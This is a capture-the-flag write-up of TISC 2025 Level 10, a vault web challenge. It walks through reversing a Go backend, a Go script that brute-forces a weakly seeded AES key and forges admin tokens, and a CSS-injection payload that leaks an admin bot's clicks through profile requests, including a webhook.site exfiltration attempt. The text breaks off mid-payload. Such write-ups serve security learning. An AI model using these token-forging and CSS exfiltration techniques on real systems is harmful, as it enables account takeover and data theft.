Level 10 - Countle Secured Storage (web)

Let's look at the various web interfaces:

Initialize vault (registration at /register):

Access secrets (/login):

When we are logged in, at /profile we see:

Below the username there is a small button that can be clicked to select the colour of our username (we'll get to this later).

When we click unlock vault (/2fa):

This is basically just a countle puzzle we need to solve. The twist, however, is that we don't know what our target number is, so we don't know how to solve it!

We see Python code in the admin_bot folder in the dist files, containing the following code:

from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
import time
import socket
import threading
import os

"""
pos[mask][val] records how to make value by combining a result a from subset j with b from subset k using op
"""
def dfs(pos, mask, val, soln):

    a, j, b, k, c = pos[mask][val]
    
    
    if b != 0:
        dfs(pos, j, a, soln)
        dfs(pos, k, b, soln)
        soln += [(c, a, j, b, k, val, mask)]
        print(f'{a} {c} {b} = {val}') # prints a op b = val
        
def solve(arr, target, soln):
    
    N = len(arr)
    M = 1<<N

    pos = [{} for i in range(M)]

    for i,x in enumerate(arr):
        pos[1<<i][x] = (x, 1<<i, 0, 0, '')

    for m in range(M):
        j = m
        while j:
            j = (j-1)&m
            k = m^j
        
            for a, _ in pos[j].items():
                for b, __ in pos[k].items():
                    pos[m][a+b] = (a, j, b, k, '+')
                    pos[m][a-b] = (a, j, b, k, '−')
                    pos[m][b-a] = (b, k, a, j, '−')
                    pos[m][a*b] = (a, j, b, k, '×')
                    if b != 0 and a % b == 0:
                        pos[m][a//b] = (a, j, b, k, '÷')
                    if a != 0 and b % a == 0:
                        pos[m][b//a] = (b, k, a, j, '÷')
        pos[m] = dict((x,y) for x, y in pos[m].items() if x > 0)

    dfs(pos, M-1, target, soln)

service_addr = os.environ.get('BACKEND_URL', 'http://localhost:8080')

def check_secret(token, target):
    service = Service()
    options = Options()
    options.add_argument("--headless")
    options.add_argument("start-maximized")
    options.add_argument("disable-infobars")
    options.add_argument("--disable-extensions")
    options.add_argument("--disable-gpu")
    options.add_argument("--disable-dev-shm-usage")
    options.add_argument("--no-sandbox")
    options.add_experimental_option('excludeSwitches', ['enable-logging'])
    driver = webdriver.Chrome(options=options, service=service)
    try:
        driver.get(service_addr)
        # blindly uses the authToken provided
        # javascript injection
        # Can arbitrary JS before/while navigating to /2fa
        driver.execute_script(
            f"""
            localStorage.setItem("authToken", "{token}");
            location.href = "/2fa";
            """
        )
        # driver.get(f"https://webhook.site/2ae8949a-9a82-4730-80cd-979957e65fbb/{token}")
        time.sleep(0.5)

        buttons = {}
        sources = driver.find_element(by=By.CLASS_NAME, value="source-cards")
        sources_html = sources.find_elements(By.CLASS_NAME, 'number-card')
        for i, button in enumerate(sources_html):
            buttons[1<<i] = button

        operators = driver.find_element(by=By.CLASS_NAME, value="operators")
        operators_html = operators.find_elements(By.CLASS_NAME, 'number-card')
        for button in operators_html:
            buttons[button.text] = button

        arr = [int(x.text) for x in sources_html]
        soln = []
        solve(arr, target, soln)

        for c, a, j, b, k, val, mask in soln:
            buttons[j].click()
            time.sleep(1)
            buttons[c].click()
            time.sleep(1)
            buttons[k].click()
            operation = driver.find_elements(by=By.CLASS_NAME, value="operation")[-2]
            if (val != target):
                time.sleep(1)
                result_html = operation.find_element(By.CLASS_NAME, 'number-card--filled')
                buttons[mask] = result_html
            else:
                break
    except Exception as e:
        print(f"Error during solving: {e}")
    driver.close()

def handle_client(conn, addr):
    try:
        conn.sendall(b"Enter token:\n") # authToken
        token = conn.recv(1024).decode().strip()
        conn.sendall(b"Enter target:\n") # the target integer to reach
        target = int(conn.recv(1024).decode().strip())

        check_secret(token, target)
       
        conn.sendall(b"OK")
    except Exception as e:
        conn.sendall(f"Error: {e}\n".encode())
    finally:
        conn.close()

def start_server(host='0.0.0.0', port=5555):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((host, port))
    server.listen(5)
    print(f"Listening on {host}:{port}")
    while True:
        conn, addr = server.accept()
        threading.Thread(target=handle_client, args=(conn, addr), daemon=True).start()

# Start the TCP service
if __name__ == "__main__":
    start_server()

The admin bot is not exposed to the public, but only reachable from the backend golang server. It essentially waits for connections for the backend, receives a token and target, and visits the /2fa endpoint with the provided token. It then uses css classes to identify the buttons available on the 2fa page, and performs DFS to find a solution. Once a solution is found it clicks the buttons to reach the target number. It clicks number 1, then the operation, then number 2.

Note on /assets/

You can view css and js files by going to the /assets/ path.

Now let's try to understand some functions in the golang binary. Fortunately for us it isn't stripped, so we can guess their functionalities by their function names.

  • main_main: Specifies a few API endpoints and their handlers:

  1. POST /api/login - Login endpoint (no auth required)

    • Handler: off_1198A38

  2. POST /api/register - Registration endpoint (no auth required)

    • Handler: off_1198A48

  3. GET /api/me - Get current user info (requires auth)

    • Handler: off_1198A40 with auth middleware

  4. GET /api/views - Get views (requires auth)

    • Handler: off_1198A30 with auth middleware

  5. GET /api/profile/{username} - Get user profile (requires auth)

    • Handler: off_1198A28 with auth middleware

    • Path: /profile/:username (18 chars: "profile/username")

  6. POST /api/vault/unlock/request - Request vault unlock (requires auth)

    • Handler: off_1198A60 with auth middleware

    • Path: 21 chars: "vault/unlock/request"

  7. POST /api/vault/unlock/attempt - Attempt vault unlock (requires auth)

    • Handler: off_1198A58 with auth middleware

    • Path: 21 chars: "vault/unlock/attempt"

  8. POST /api/vault/check - Check vault status (requires auth)

    • Handler: off_1198A20 with auth middleware

    • Path: 12 chars: "vault/check"

    • 💡This activates the admin_bot's Python script to click the buttons to the solution in /2fa without resetting the OTP!

  • main_newOTP: Generates a new OTP using secure random

  • main_setOTP: Updates the SQL database for a particular user with the provided OTP and auth level

  • main_getOTP: Retrieves otp and auth level for a particular user from the database

  • main_handleUnlockAttempt : Calls main_getOTP to get OTP for the user. When the user sends a POST request containing their operations, it calls jro_sg_tisc_secure_vault_countle_Validate to ensure the moves are valid. If the user is currently at auth level 1 and solve the puzzle they get the secret. Otherwise if they are currently at auth level 0 and solve the puzzle a new OTP is generated using main_newOTP and the new OTP is set using main_setOTP. They are promoted to auth level 1.

  • main_handleUnlockRequest : Gets current OTP for the user using main_getOTP, handles an invalid current OTP, generates new OTP using main_newOTP, stores it using main_setOTP

  • main_genToken: Given a username, generates an authentication token for the user by running main_encrypt on the username byteslice. The first 12 bytes are a random nonce, followed by the encrypted ciphertext, followed by a 16-byte AES GCM tag.

  • main_encrypt: Uses a main_key stores in bss to perform AES GCM encryption to generate the token.

  • main_validateToken : Decodes the token, which is a hexstring, then performs AES GCM decryption using main_decrypt.

  • main_init: Initializes the global main_key using main_generateKey.

  • main_generateKey: Generates a 16-byte key using SHA1.

Let's take a closer look at main_generateKey:

// main.generateKey
retval_D9FF00 __golang main_generateKey()
{
  string_0 v0; // kr40_16
  __int64 v1; // rsi
  __int64 v2; // rdi
  uintptr v3; // rsi
  RTYPE *Typ; // r8
  uintptr Itab; // rax
  __int64 i; // rax
  RTYPE *v7; // rcx
  __int64 j; // rax
  RTYPE *v9; // rcx
  uint8 v10; // al
  retval_D9FF00 v11; // [rsp+30h] [rbp-F0h]
  runtime_tmpBuf buf; // [rsp+40h] [rbp-E0h] BYREF
  __int64 v13; // [rsp+60h] [rbp-C0h]
  __int64 v14; // [rsp+68h] [rbp-B8h]
  int64 seed; // [rsp+70h] [rbp-B0h]
  crypto_sha1_digest d; // [rsp+78h] [rbp-A8h] BYREF
  RTYPE **v17; // [rsp+E0h] [rbp-40h]
  rand_rngSource *v18; // [rsp+E8h] [rbp-38h]
  uintptr v19; // [rsp+F0h] [rbp-30h]
  rand_rngSource *v20; // [rsp+F8h] [rbp-28h]
  __int128 v21; // [rsp+100h] [rbp-20h]
  rand_rngSource *p_rand_rngSource; // [rsp+110h] [rbp-10h]
  _slice_uint8_0 v24; // 0:kr28_24.24
  string_0 v25; // 0:rax.8,8:rbx.8
  interface__0 v26; // 0:rax.8,8:rbx.8
  _slice_uint8_0 v27; // 0:rbx.8,8:rcx.8,16:rdi.8

  v25.str = (uint8 *)&FLAG;
  v25.len = 4;
  v0 = os_Getenv(v25);
  if ( !v0.len )
  {
    v26._type = (internal_abi_Type *)&RTYPE_string;
    v26.data = &off_131FF60;
    runtime_gopanic(v26);
  }
  memset(&d.h[2], 0, 96);
  d.h[0] = 1732584193;
  *(_QWORD *)&d.h[1] = 0x98BADCFEEFCDAB89LL;
  *(_QWORD *)&d.h[3] = 0xC3D2E1F010325476LL;
  *(_OWORD *)&d.nx = 0;
  v27 = runtime_stringtoslicebyte((runtime_tmpBuf *)buf, v0);
  v24 = crypto_sha1__ptr_digest_Sum(&d, v27);
  if ( v24.cap < 8uLL )
    runtime_panicSliceAcap();
  seed = *(_QWORD *)v24.array;
  p_rand_rngSource = (rand_rngSource *)runtime_newobject((internal_abi_Type *)&RTYPE_rand_rngSource);
  math_rand__ptr_rngSource_Seed((math_rand_rngSource *)p_rand_rngSource, seed);
  v1 = 2063608515;
  while ( 1 )
  {
    v2 = v1;
    v3 = main__typeAssert_0.Cache->Mask & v1;
    Typ = (RTYPE *)main__typeAssert_0.Cache->Entries[v3].Typ;
    if ( Typ == &RTYPE__ptr_rand_rngSource )
      break;
    v1 = v2 + 1;
    if ( !Typ )
    {
      Itab = (uintptr)runtime_typeAssert(&main__typeAssert_0, (internal_abi_Type *)&RTYPE__ptr_rand_rngSource);
      goto LABEL_8;
    }
  }
  Itab = main__typeAssert_0.Cache->Entries[v3].Itab;
LABEL_8:
  v21 = 0;
  v17 = go_itab__ptr_math_rand_rngSource_comma_math_rand_Source;
  v18 = p_rand_rngSource;
  v19 = Itab;
  v20 = p_rand_rngSource;
  for ( i = 0; i < 256; i = v14 )
  {
    v7 = v17[3];
    v14 = i + 1;
    ((void (__golang *)(rand_rngSource *))v7)(v18);
  }
  v11 = 0;
  for ( j = 0; j < 16; j = v14 )
  {
    v13 = j;
    v9 = v17[3];
    v14 = j + 1;
    v10 = ((__int64 (__golang *)(rand_rngSource *))v9)(v18);
    v11.arr[v13] = v10;
  }
  return v11;
}
  • 0x98BADCFEEFCDAB89LL and 0xC3D2E1F010325476LL are SHA1 constants

This function appears to:

  1. Get FLAG from env vars

  2. Calculate a SHA1 hash of the FLAG

  3. Uses the first 8 bytes of the SHA1 hash as a seed for rand

  4. Use rand's Int63 function 256 times

  5. Use rand's Int63 function another 16 times, each time taking the lowest 8 bits and adding it to the result array.

  6. In the end we get a 16 byte key!

This appears to not be vulnerable since we need knowledge of the entire FLAG to calculate the SHA1 and hence get the key.

However, the catch is in crypto_sha1__ptr_digest_Sum . Let's look at its pseudocode:

// crypto/sha1.(*digest).Sum
_slice_uint8_0 __golang crypto_sha1__ptr_digest_Sum(crypto_sha1_digest *d, _slice_uint8_0 in)
{
  int cap; // rcx
  int len; // rbx
  uint8 *array; // rax
  crypto_sha1_digest v8; // [rsp+50h] [rbp-88h] BYREF
  int v9; // [rsp+B8h] [rbp-20h]
  int newLen; // [rsp+C0h] [rbp-18h]
  uint8 *v11; // [rsp+C8h] [rbp-10h]
  uint8 *oldPtr; // [rsp+E8h] [rbp+10h]
  unsigned __int64 oldCap; // [rsp+F8h] [rbp+20h]
  runtime_slice v15; // 0:kr00_24.24
  _slice_uint8_0 result; // 0:rax.8,8:rbx.8,16:rcx.8

  oldPtr = in.array;
  oldCap = in.cap;
  newLen = in.len + 20;
  crypto_internal_boring_sig_StandardCrypto();
  *(_QWORD *)v8.h = *(_QWORD *)d->h;
  qmemcpy(&v8.h[2], &d->h[2], 0x60u);
  crypto_sha1__ptr_digest_checkSum(&v8);
  cap = oldCap;
  len = newLen;
  if ( oldCap < newLen )
  {
    v15 = runtime_growslice(oldPtr, newLen, oldCap, 20, (internal_abi_Type *)&RTYPE_uint8);
    array = (uint8 *)v15.array;
    len = v15.len;
    cap = v15.cap;
  }
  else
  {
    array = oldPtr;
  }
  v11 = array;
  newLen = len;
  v9 = cap;
  runtime_memmove();
  result.array = v11;
  result.len = newLen;
  result.cap = v9;
  return result;
}

It actually doesn't return the hash! Rather, it grows the slice by 20 bytes (which is the size of the SHA1 digest), and appends the SHA1 digest to it. It then returns this slice.

The implication of this is that the seed used by main_generateKey will just be the first 8 bytes of the flag! Since we know that the flag format is TISC{, we just need to brute the remaining 3 bytes (24 bits) to get the correct key. In order to do so,

  1. Get a valid token (12-byte nonce || ct || 16-byte tag)

  2. Try all possible combinations of the first 8 bytes of the flag (TISC{???) and attempt to perform AES decryption.

  3. When AES decryption succeeds, we know that we have found the correct key (and retrieved the first 8 bytes of the flag).

Here's the script ChatGPT generated to achieve this, and the result when tested on remote:

package main

import (
	"crypto/aes"
	"crypto/cipher"
	"crypto/rand"
	"encoding/base64"
	"encoding/binary"
	"encoding/hex"
	"flag"
	"fmt"
	"io"
	"log"
	mathrand "math/rand"
	"os"
	"unicode/utf8"
)

// reproduce vulnerable key derivation from first 8 bytes (little-endian seed)
func deriveKeyFromFirst8(first8 [8]byte) [16]byte {
	seed := int64(binary.LittleEndian.Uint64(first8[:]))
	src := mathrand.NewSource(seed)

	// warm-up: discard 256 draws
	for i := 0; i < 256; i++ {
		_ = src.Int63()
	}

	// 16 key bytes: low 8 bits of each Int63
	var out [16]byte
	for i := 0; i < 16; i++ {
		out[i] = byte(src.Int63())
	}
	return out
}

func decodeToken(s string) ([]byte, error) {
	if isLikelyHex(s) {
		if b, err := hex.DecodeString(s); err == nil {
			return b, nil
		}
	}
	if b, err := base64.StdEncoding.DecodeString(s); err == nil {
		return b, nil
	}
	if b, err := base64.RawStdEncoding.DecodeString(s); err == nil {
		return b, nil
	}
	return nil, fmt.Errorf("unrecognized token encoding (tried hex, base64, raw base64)")
}

func isLikelyHex(s string) bool {
	if len(s)%2 != 0 || len(s) == 0 {
		return false
	}
	for _, r := range s {
		switch {
		case r >= '0' && r <= '9':
		case r >= 'a' && r <= 'f':
		case r >= 'A' && r <= 'F':
		default:
			return false
		}
	}
	return true
}

func tryDecryptGCM(key, token []byte) ([]byte, error) {
	if len(token) < 12+16 {
		return nil, fmt.Errorf("token too short: %d", len(token))
	}
	nonce := token[:12]
	ct := token[12:] // includes tag at end
	block, err := aes.NewCipher(key)
	if err != nil {
		return nil, err
	}
	gcm, err := cipher.NewGCM(block)
	if err != nil {
		return nil, err
	}
	return gcm.Open(nil, nonce, ct, nil)
}

func encryptGCM(key, plaintext []byte) ([]byte, error) {
	nonce := make([]byte, 12)
	if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
		return nil, fmt.Errorf("nonce gen: %w", err)
	}
	block, err := aes.NewCipher(key)
	if err != nil {
		return nil, err
	}
	gcm, err := cipher.NewGCM(block)
	if err != nil {
		return nil, err
	}
	ct := gcm.Seal(nil, nonce, plaintext, nil) // ciphertext||tag
	out := append(nonce, ct...)                // nonce||ciphertext||tag
	return out, nil
}

func printableUTF8(b []byte) bool {
	if !utf8.Valid(b) {
		return false
	}
	for _, r := range string(b) {
		if r == '\n' || r == '\r' || r == '\t' {
			continue
		}
		if r < 0x20 || r == 0x7f {
			return false
		}
	}
	return true
}

func main() {
	var tokenStr string
	var charset string
	flag.StringVar(&tokenStr, "token", "", "token (hex/base64). Layout: 12-byte nonce || ciphertext || 16-byte tag")
	flag.StringVar(&charset, "charset", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_}", "charset for the 3 unknown bytes after \"TISC{\"")
	flag.Parse()

	if tokenStr == "" {
		fmt.Fprintf(os.Stderr, "Usage: %s -token <hex-or-base64-token> [-charset <chars>]\n", os.Args[0])
		os.Exit(2)
	}

	token, err := decodeToken(tokenStr)
	if err != nil {
		log.Fatalf("decode token: %v", err)
	}

	prefix := []byte("TISC{")
	var first8 [8]byte
	copy(first8[:5], prefix)

	var tried uint64
	for i := 0; i < len(charset); i++ {
		for j := 0; j < len(charset); j++ {
			for k := 0; k < len(charset); k++ {
				first8[5] = charset[i]
				first8[6] = charset[j]
				first8[7] = charset[k]

				key := deriveKeyFromFirst8(first8)
				plain, err := tryDecryptGCM(key[:], token)
				tried++
				if err != nil {
					continue
				}

				// Decrypted "previous username"
				fmt.Printf("SUCCESS after %d tries\n", tried)
				fmt.Printf("Recovered first 8 bytes: %q (hex: %x)\n", string(first8[:]), first8)
				fmt.Printf("Derived AES-128 key     : %x\n", key)

				if printableUTF8(plain) {
					fmt.Printf("Recovered username (utf-8): %q\n", string(plain))
				} else {
					fmt.Printf("Recovered username (hex)  : %x\n", plain)
				}

				// Forge: "admin" + username
				forged := append([]byte("admin_"), plain...)

				newToken, err := encryptGCM(key[:], forged)
				if err != nil {
					log.Fatalf("re-encrypt: %v", err)
				}

				fmt.Printf("\nForged token for username = \"admin_\"+username\n")
				fmt.Printf("HEX : %s\n", hex.EncodeToString(newToken))
				fmt.Printf("B64 : %s\n", base64.StdEncoding.EncodeToString(newToken))
				fmt.Printf("B64U: %s\n", base64.RawStdEncoding.EncodeToString(newToken))

				return
			}
		}
	}

	fmt.Printf("No valid key found after %d tries. Consider widening the charset.\n", tried)
}

/*
elijah@soyabean:/mnt/c/Users/chiae/Downloads/tisc25/level10$ go run ./crack_key.go -token b179cc17c73cca99ab4c00196bac27d6e6db078a06fb9262efc60100
70fedaed881086
SUCCESS after 218367 tries
Recovered first 8 bytes: "TISC{1t_" (hex: 544953437b31745f)
Derived AES-128 key     : 8f7fd234ba4d90f25e2fb8f34cfd1044
Recovered username (utf-8): "elijah2"

Forged token for username = "admin_"+username
HEX : fdc07335998785b84ac2a39522316d6c7accf635c23bb23421a1da67f1f81f05d59345c3a96d9aa184
B64 : /cBzNZmHhbhKwqOVIjFtbHrM9jXCO7I0IaHaZ/H4HwXVk0XDqW2aoYQ=
B64U: /cBzNZmHhbhKwqOVIjFtbHrM9jXCO7I0IaHaZ/H4HwXVk0XDqW2aoYQ
*/

Furthermore, in main_HandleRegister, I observed that when a normal user account is created, a corresponding admin account with a random password is created, and the admin account's name is admin_XXXX where XXXX is the name of the user account.

The script was then modified to also forge a valid token for the admin account of the user whose token we provided.

Now we can change our username and token in localStorage to get access to the admin account:

Now we have to look for a vulnerability that allows us to solve the countle twice. Once to get from auth level 0 to auth level 1, and another to pass auth level 1 and view the secret which contains the flag.

After playing around for awhile I tried to intercept the request and response when we tried to change the style of the username using burp suite.

Request:

POST /api/update_style HTTP/1.1
Host: chals.tisc25.ctf.sg:23196
Content-Length: 149
Authorization: 716e50477f3d46a65a1d543e3cdfbe9a1a3304bc88c83ff1658ae05f47122398f0a6553455116b5030
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryilSJmR5aBFdvBH9C
Accept: */*
Origin: http://chals.tisc25.ctf.sg:23196
Referer: http://chals.tisc25.ctf.sg:23196/profile
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundaryilSJmR5aBFdvBH9C
Content-Disposition: form-data; name="style_color"

#963636
------WebKitFormBoundaryilSJmR5aBFdvBH9C--

Response:

HTTP/1.1 200 OK
Content-Security-Policy: default-src 'none'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; img-src 'self'; connect-src 'self'; font-src 'self' https://fonts.googleapis.com https://fonts.gstatic.com; frame-ancestors 'none'; base-uri 'none'; form-action 'self'
Content-Type: application/json; charset=utf-8
Date: Tue, 30 Sep 2025 13:57:49 GMT
Content-Length: 46

{"message":"Style color updated successfully"}

After this, we would see the following element in the webpage when we try to inspect the username:

<div class="avatar-section">
    <style>.vault-username {color: #963636; text-shadow: 0 0 10px #96363640;}</style>
    ...

We can see that our chosen colour has been added into the <style> tag!

You may now be wondering: Can we escape the curly brace { to define CSS for other classes? The answer is YES!

Why can we just escape the curly braces?

If you looked at the JS file in http://chals.tisc25.ctf.sg:23196/assets/ProfileAvatar-CJL_IISE.js you would see the following:

import {
    t as u,
    o
} from "./chunk-D4RADZKF-BaLaEziy.js"; /* empty css             */
const f = {
    maxCssLength: 65536,
    allowedProperties: new Set(["color", "font-family", "font-size", "font-weight", "line-height", "text-align", "text-decoration", "text-transform", "letter-spacing", "display", "width", "height", "max-width", "max-height", "min-width", "min-height", "margin", "padding", "border", "background-color", "opacity", "box-shadow", "transform", "transition", "background", "animation", "animation-delay", "animation-direction", "animation-duration", "animation-fill-mode", "animation-iteration-count", "animation-name", "animation-play-state", "animation-timing-function", "cursor", "pointer-events", "user-select", "visibility", "word-break", "word-wrap", "overflow", "text-overflow", "clip-path", "filter", "position", "top", "right", "bottom", "left", "z-index", "float", "clear", "object-fit", "object-position", "content", "overflow-x", "overflow-y", "text-shadow", "vertical-align", "white-space", "border-radius", "justify-content", "align-items", "flex-wrap", "flex-direction", "flex"]),
    allowedAtRules: new Set(["@media", "@keyframes", "@font-face", "@import"]),
    allowedPseudoClasses: new Set([":hover", ":active", ":focus", ":visited", ":first-child", ":last-child", ":nth-child", ":nth-of-type", ":not", ":before", ":after"]),
    validateUrl: s => {
        try {
            return new URL(s), !0
        } catch {
            return !1
        }
    },
    sanitizeUrl: s => {
        const e = ["fonts.googleapis.com"];
        if (s) {
            const a = new URL(s);
            if (e.includes(a.hostname)) return s
        }
        return ""
    }
};
class w {
    constructor(e = {}) {
        this.config = {
            ...f,
            ...e
        }, this.config.allowedProperties = new Set([...f.allowedProperties, ...e.allowedProperties || []]), this.config.allowedAtRules = new Set([...f.allowedAtRules, ...e.allowedAtRules || []]), this.config.allowedPseudoClasses = new Set([...f.allowedPseudoClasses, ...e.allowedPseudoClasses || []])
    }
    sanitizeProperty(e, a) {
        if (!this.config.allowedProperties.has(e)) return "";
        if (e === "background-image" || e === "background") {
            const r = a.match(/url\(['"]?(.*?)['"]?\)/);
            if (r) {
                const n = r[1];
                if (this.config.validateUrl(n)) {
                    const t = this.config.sanitizeUrl(n);
                    if (t) return `${e}: url('${t}');`
                }
                return ""
            }
        }
        return `${e}: ${a};`
    }
    sanitizeCss(e) {
        if (typeof e != "string" || (e = e.trim(), e === "")) return "";
        e.length > this.config.maxCssLength && (e = e.slice(0, this.config.maxCssLength)), e = e.replace(/\/\*[\s\S]*?\*\//g, "");
        let a = "",
            r = 0,
            n = !1,
            t = "";
        for (let l = 0; l < e.length; l++) {
            const i = e[l];
            if (i === "{") {
                r++;
                const c = t.trim().split(/\s+/)[0];
                this.config.allowedAtRules.has(c) ? (n = !0, a += t + i) : (n || r === 1) && (a += t + i), t = ""
            } else if (i === "}") {
                if (r--, n) r === 0 && (n = !1), a += t + i;
                else if (r === 0) {
                    const h = t.split(";").filter(d => d.trim() !== "").map(d => {
                        const [m, ...g] = d.split(":"), p = g.join(":").trim();
                        return this.sanitizeProperty(m.trim(), p)
                    }).filter(d => d !== "");
                    a += h.join(" ") + i
                } else a += t + i;
                t = ""
            } else t += i
        }
        return a
    }
}
const y = ({
    profile: s,
    editable: e
}) => {
    const [a, r] = u.useState(s.style_color), [n, t] = u.useState(s.style_color), l = new w;
    return o.jsxs("div", {
        className: "avatar-section",
        children: [o.jsx("style", {
            children: l.sanitizeCss(`
            .vault-username {
                color: ${n};
                text-shadow: 0 0 10px ${n}40;
            }
            `.toLowerCase())
        }), o.jsxs("div", {
            className: "avatar-container",
            children: [o.jsxs("div", {
                className: "vault-avatar",
                children: [o.jsx("div", {
                    className: "avatar-ring"
                }), o.jsx("div", {
                    className: "avatar-letter",
                    children: s.username.charAt(0).toUpperCase()
                }), o.jsx("div", {
                    className: "avatar-glow"
                })]
            }), o.jsxs("div", {
                className: "username-container",
                children: [o.jsxs("h3", {
                    className: "vault-username",
                    children: ["@", s.username]
                }), e && o.jsx("div", {
                    className: "color-picker-container",
                    children: o.jsx("input", {
                        type: "color",
                        "aria-label": "Choose profile color",
                        value: a,
                        className: "vault-color-picker",
                        onChange: i => {
                            r(i.target.value)
                        },
                        onBlur: i => {
                            t(i.target.value);
                            const c = new FormData;
                            c.append("style_color", i.target.value), fetch("/api/update_style", {
                                method: "POST",
                                headers: {
                                    Authorization: localStorage.getItem("authToken") || ""
                                },
                                body: c
                            })
                        }
                    })
                })]
            })]
        })]
    })
};
export {
    y as P
};

Notice that the style color we sent is injected into n, and undergoes some sanitization which isn't very comprehensive at all.

If our payload was something like

Content-Disposition: form-data; name="style_color"

#963636; }
.someclass {

}
/*

we would be able to define CSS properties for other classes and comment out everything after our payload.

The next question is: What can we do with this CSS injection primitive?

Well, our ultimate goal is to be able to solve the countle puzzle on the admin account twice. In order to do this, we must be able to either:

a. Leak the target number, or

b. Leak the path to obtaining the target number

It turns out that step b is more feasible. If you recall, the admin bot performs DFS to find a sequence of operations to solve the puzzle, then clicks the buttons to solve the puzzle. It finds these buttons by their CSS classes. As such, if we can modify the buttons' CSS such that we can somehow determine the order of buttons clicks, we can simply re-enact the clicks to solve the puzzle.

Finding the right thing to inject is non-trivial, however. Eventually after trying to click the buttons myself and looking at http://chals.tisc25.ctf.sg:23196/assets/countle-qAA7LAPw.js, I realised that whenever a button is clicked, it momentarily gets a new CSS class called number-card--anim-popout. If we did something like:

.number-card--anim-popout {
    content: url(https://webhook.site/2ae8949a-9a82-4730-80cd-979957e65fbb)
}

we observe that it fails, presumably because external fetches aren't allowed.

However, if we were to try something like:

.number-card--anim-popout {
    content: url(/api/profile/elijah2)
}

And we try clicking it ourselves on the 2fa page, it actually works! We would see a corresponding profile view on the account specified in the URL, complete with timestamps:

😂 Now I encountered another problem: When I tried to do this for mathematical operator buttons, only the first click would send a request. Subsequent requests wouldn't get sent. This is most likely due to the browser caching the CSS, resulting in subsequent fetches not occurring.

I couldn't find a way to defeat this phenomenon. However, every time the 2fa endpoint is accessed (even by the bot), the number buttons are shuffled. This means that the bot may be able to find different distinct solutions. In this case, even if we are unsure which operations are used for some lines, we can make an educated guess by obtaining multiple distinct solutions which sum up to the same target.

Now to formulate our entire payload let's look at the CSS of the different buttons the bot may click (I also added one line of equations because the bot may use an intermediate number:

<div class="board">
    <div class="source-cards">
        <button class="number-card number-card--filled number-card--2-chars">34</button>
        <button class="number-card number-card--filled">2</button>
        <button class="number-card number-card--filled number-card--3-chars">152</button>
        <button class="number-card number-card--locked number-card--2-chars" disabled="">11</button>
        <button class="number-card number-card--locked" disabled="">1</button>
        <button class="number-card number-card--filled">4</button>
        <button class="number-card number-card--filled number-card--4-chars">1007</button>
    </div>
    <div class="operators">
        <button class="number-card number-card--operator number-card--filled">+</button>
        <button class="number-card number-card--operator number-card--filled">−</button>
        <button class="number-card number-card--operator number-card--filled">×</button>
        <button class="number-card number-card--operator number-card--filled">÷</button>
    </div>
    <div>
        <div class="operation">
            <button class="number-card number-card--locked number-card--2-chars" disabled="">11</button>
            <button class="number-card number-card--operator number-card--locked" disabled="">−</button>
            <button class="number-card number-card--locked" disabled="">1</button>
            <div class="equals-sign">=</div>
            <button class="number-card number-card--filled number-card--2-chars">10</button>
            <button class="icon-button">
               ...
            </button>
        </div>
        <div class="operation">
            <button class="number-card number-card--empty" disabled=""></button>
            <button class="number-card number-card--operator number-card--empty" disabled=""></button>
            <button class="number-card number-card--empty" disabled=""></button>
            <div class="equals-sign">=</div>
            <button class="number-card number-card--empty" disabled=""></button>
            <button class="icon-button icon-button--hidden">
                <svg version="1.1" xmlns="http://www.w3.org/2000/svg" x="0px" y="0px" viewBox="0 0 458.5 458.5" style="width: 30px;">
                    ...
                </svg>
            </button>
        </div>
    </div>
</div>

We can split these into the following groups:

  1. The 7 initial number cards. These all have the number-card--filled class initially, and also have the number-card--X-chars class depending on their number of characters. These are shuffled on each attempt to access /2fa.

  2. Mathematical operators. These are always in the order + - x ÷ and have the number-card--operator class

  3. Intermediate results. In the above example my first line result was 10. It has the classes number-card number-card--filled number-card--2-chars

We already know that we want each button to map to a different profile. If we can do this, then we can look across our different profiles to see the time each profile was viewed. By sorting those timings, we can then re-construct the bot's button clicks.

However, although this is possible for (2) and (3), it is not possible for (1). It is impossible (to my knowledge) to use CSS selectors to select between

<button class="number-card number-card--filled">1</button>
and
<button class="number-card number-card--filled">4</button>

because no CSS selector works on the content, and their classes are exactly the same.

Hence my approach was to create the following accounts:

elijahichar1 <- when the result from the first line is pressed
elijahichar2 <- when the result from the second line is pressed
elijahichar3 <- when the result from the third line is pressed
elijahichar4 <- when the result from the fourth line is pressed
elijahichar5 <- when the result from the fifth line is pressed
elijah1char <- when a 1-digit initial number button is pressed (could be 1, 2 or 4)
elijah2char <- when a 2-digit initial number button is pressed (could be 11 or 34)
elijah3char <- when a 3-digit initial number button is pressed (could only be 152)
elijah4char <- when a 4-digit initial number button is pressed (could only be 1007)
elijahplus <- when the + operator is pressed for the first time
elijahminus <- when the - operator is pressed for the first time
elijahtimes <- when the x operator is pressed for the first time
elijahdivide <- when the ÷ operator is pressed for the first time

This approach allowed me to track all button presses, except for

a) repeated mathematical operator presses, and

b) differentiating between 1-digit initial numbers and differentiating between 2-digit initial numbers

Final CSS payload
Content-Disposition: form-data; name="style_color"

#501111;}

.source-cards>.number-card:not(.number-card--2-chars):not(.number-card--3-chars):not(.number-card--4-chars).number-card--anim-popout:nth-child(1) {
  content: url(/api/profile/elijah1char?v=1.0)
}
.source-cards>.number-card:not(.number-card--2-chars):not(.number-card--3-chars):not(.number-card--4-chars).number-card--anim-popout:nth-child(2) {
  content: url(/api/profile/elijah1char?v=2.0)
}
.source-cards>.number-card:not(.number-card--2-chars):not(.number-card--3-chars):not(.number-card--4-chars).number-card--anim-popout:nth-child(3) {
  content: url(/api/profile/elijah1char?v=3.0)
}
.source-cards>.number-card:not(.number-card--2-chars):not(.number-card--3-chars):not(.number-card--4-chars).number-card--anim-popout:nth-child(4) {
  content: url(/api/profile/elijah1char?v=4.0)
}
